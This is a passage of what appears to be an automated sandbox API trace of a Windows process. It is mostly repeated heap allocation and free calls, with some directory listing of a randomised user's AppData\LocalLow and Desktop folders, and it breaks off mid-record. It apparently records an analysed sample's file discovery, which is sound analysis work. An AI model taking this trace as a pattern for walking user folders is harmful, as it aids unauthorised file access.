HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.781] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.781] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.781] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.781] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.781] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.784] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.784] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.784] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.784] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.784] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.784] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.784] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0117.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0117.784] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.784] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0117.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0117.784] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0117.784] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0117.784] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.784] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0117.784] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.784] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.784] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.784] PathFindFileNameW (pszPath="") returned="" [0117.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.784] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0117.785] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.785] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.785] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0117.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1c) returned 0x3947c20 [0117.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941658 [0117.785] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.785] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.785] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0117.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0117.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0117.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x38) returned 0x3983720 [0117.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.785] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941658 | out: hHeap=0xd10000) returned 1 [0117.785] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf08b0 [0117.785] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0117.785] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0117.785] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0117.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941658 [0117.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x54) returned 0x39668a0 [0117.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0117.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0117.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf08b0 | out: hHeap=0xd10000) returned 1 [0117.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3983720 | out: hHeap=0xd10000) returned 1 [0117.786] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941658 | out: hHeap=0xd10000) returned 1 [0117.786] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0117.786] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0117.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0117.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0117.786] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.786] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0117.786] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.786] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.786] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.786] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.786] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.786] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.786] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.786] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.786] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.787] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.787] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.787] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.787] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.787] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.787] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.787] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.787] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.787] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.787] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.787] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.787] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.787] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0117.787] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.788] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941658 [0117.788] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.788] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.788] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.788] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.788] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.788] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.788] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.788] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\") returned="Mv1WVGRvzH\\" [0117.788] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.788] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0117.788] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0117.788] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0117.788] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.788] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0117.788] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.788] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.788] PathFindFileNameW (pszPath="") returned="" [0117.788] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.788] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9c06c20, ftCreationTime.dwHighDateTime=0x1d4ca35, ftLastAccessTime.dwLowDateTime=0x8a3f5950, ftLastAccessTime.dwHighDateTime=0x1d4cca3, ftLastWriteTime.dwLowDateTime=0x8a3f5950, ftLastWriteTime.dwHighDateTime=0x1d4cca3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0117.789] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9c06c20, ftCreationTime.dwHighDateTime=0x1d4ca35, ftLastAccessTime.dwLowDateTime=0x8a3f5950, ftLastAccessTime.dwHighDateTime=0x1d4cca3, ftLastWriteTime.dwLowDateTime=0x8a3f5950, ftLastWriteTime.dwHighDateTime=0x1d4cca3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.789] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86892510, ftCreationTime.dwHighDateTime=0x1d4d2b7, ftLastAccessTime.dwLowDateTime=0x5917a730, ftLastAccessTime.dwHighDateTime=0x1d4d34a, ftLastWriteTime.dwLowDateTime=0x5917a730, ftLastWriteTime.dwHighDateTime=0x1d4d34a, nFileSizeHigh=0x0, nFileSizeLow=0x14d32, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0JOcjFAlZN.flv", cAlternateFileName="0JOCJF~1.FLV")) returned 1 [0117.789] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.789] 